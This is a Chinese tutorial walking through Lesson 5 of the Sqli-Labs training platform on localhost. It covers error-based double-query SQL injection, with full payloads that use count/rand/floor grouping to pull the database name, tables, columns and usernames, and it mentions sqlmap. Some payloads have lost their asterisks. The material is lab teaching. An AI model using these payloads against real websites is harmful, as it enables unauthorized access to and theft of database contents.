Sqli-Labs 是一个印度人的开源项目平台。里面包含了基本的各种注入类型,同时又有get和post类型,以及一些基本的绕过学习。
项目地址:https://github.com/Audi-1/sqli-labs
Lesson-5 #GET - Double Injection - Single Quotes - String (双注入GET单引号字符型注入)
运行测试环境:http://localhost/sqli-labs-master/Less-5/
输入ID参数1:http://localhost/sqli-labs-master/Less-4/?id=1 ,返回正常:
在参数中尝试插入单引号,网站报错:
测试and 1=1 ,并注释后面的SQL语句,网站返回正常:
测试and 1=2 ,并注释后面的SQL语句,网站返回不正常:
说明存在注入,继续测试:
order by 3返回正常,order by 4返回错误,说明所在表中有三列。
前4Lesson都是通过闭合SQL语句从而注入,但是现在闭合正确只会显示“You are in.......”,尝试数据库报错来取得想要的数据==:
基于错误的SQL语句的关键函数(构造能够导致逻辑错误的SQL语句):
-count():用于统计元组的数量
-rand():用于产生一个0~1的随机数字
-floor():向下取整
-group by:根据要求对结果排序
-EXTRACTVALUE (XML_document, XPath_string):从目标XML中返回包含所查询值的字符串
XML_document:是String格式,为XML文档对象的名称
XPath_string :Xpath格式的字符串
-UPDATEXML (XML_document, XPath_string, new_value):改变文档中符合条件的节点的值
XML_document:是String格式,为XML文档对象的名称
XPath_string :Xpath格式的字符串
new_value:String格式,替换查找到的符合条件的数据
通过order by 来查询:
继续用union select 来查询:
没有查到有用的信息,我们再尝试用网站报错的形式查询当前所在数据库:
?id=1' and (select 1 from ( select count(),concat(0x3a,0x3a,database(),0x3a,0x3a,floor(rand()2))name from information_schema.tables group by name)a)--+
查询当前数据库版本:
information_schema.tables里面查看当前数据库里面的的第一个表:
http://localhost/sqli-labs-master/Less-5/
?id=1' and (select 1 from ( select count(),concat(0x3a,0x3a,(select table_name from information_schema.tables where table_schema=database() limit 0,1),0x3a,0x3a,floor(rand()2))name from information_schema.tables group by name)a)--+
发现当前数据库中有users表,查看表里面有哪些列:
http://localhost/sqli-labs-master/Less-5/
?id=1' and (select 1 from ( select count(),concat(0x3a,0x3a,(select column_name from information_schema.columns where table_name='users' limit 3,1),0x3a,0x3a,floor(rand()2))name from information_schema.tables group by name)a)--+
查询user表中的字段username:
http://localhost/sqli-labs-master/Less-5/?id=1'
and (select 1 from ( select count(),concat(0x3a,0x3a,(select username from users limit 1,1),0x3a,0x3a,floor(rand()2))name from information_schema.tables group by name)a)--+
查询user表中的字段password:
利用注入神器sqlmap验证一下:
SQL Injection:就是通过把SQL命令插入到Web表单递交或输入域名或页面请求的查询字符串,最终达到欺骗服务器执行恶意的SQL命令。
具体来说,它是利用现有应用程序,将(恶意)的SQL命令注入到后台数据库引擎执行的能力,它可以通过在Web表单中输入(恶意)SQL语句得到一个存在安全漏洞的网站上的数据库,而不是按照设计者意图去执行SQL语句。